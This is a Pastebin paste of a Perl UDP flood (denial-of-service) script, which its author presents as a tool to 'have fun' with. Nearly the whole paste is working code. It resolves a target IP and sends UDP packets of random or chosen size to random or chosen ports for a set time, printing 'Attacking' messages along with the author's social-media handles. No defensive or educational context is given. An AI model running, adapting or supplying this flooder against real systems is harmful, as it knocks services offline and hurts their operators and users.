SHARE
TWEET

Dos Perl script

a guest Nov 12th, 2015 318 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. #You can use the following commands :
  3. #!/usr/bin/perl
  4.  
  5. ##############################
  6. # Lord Project ~ Scripty Dos #
  7. ##############################
  8.  
  9. use Socket;
  10. use strict;
  11.  
  12. print "Usage: perl udpflood.pl [ip] [port] [packet] [seconds]\n";
  13.  
  14. my ($ip,$port,$size,$time) = @ARGV;
  15.  
  16. my ($iaddr,$endtime,$psize,$pport);
  17.  
  18. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  19. $endtime = time() + ($time ? $time : 1000000);
  20. socket(flood, PF_INET, SOCK_DGRAM, 17);
  21.  
  22.  
  23. print "Attacking $ip " . ($port ? $port : "random") . " port with " .
  24.   ($size ? "$size-byte" : "random size") . " packets" .
  25.   ($time ? " for $time seconds" : "") . "\n";
  26. print "Stop with Ctrl-C\n" unless $time;
  27. print "This [D]DoS-Perl-Script was created by LP/Lifeplaying\n";
  28. print "His pastebin: http://www.pastebin.com/u/tastylifeplaying\n";
  29. print "His Facebook:  http://www.Facebook.com/vecmp/lifeplaying\n";
  30. print "Have fun with the Motherfuckin script <3\n";
  31.  
  32. for (;time() <= $endtime;) {
  33.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  34.   $pport = $port ? $port : int(rand(65500))+1;
  35.  
  36.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top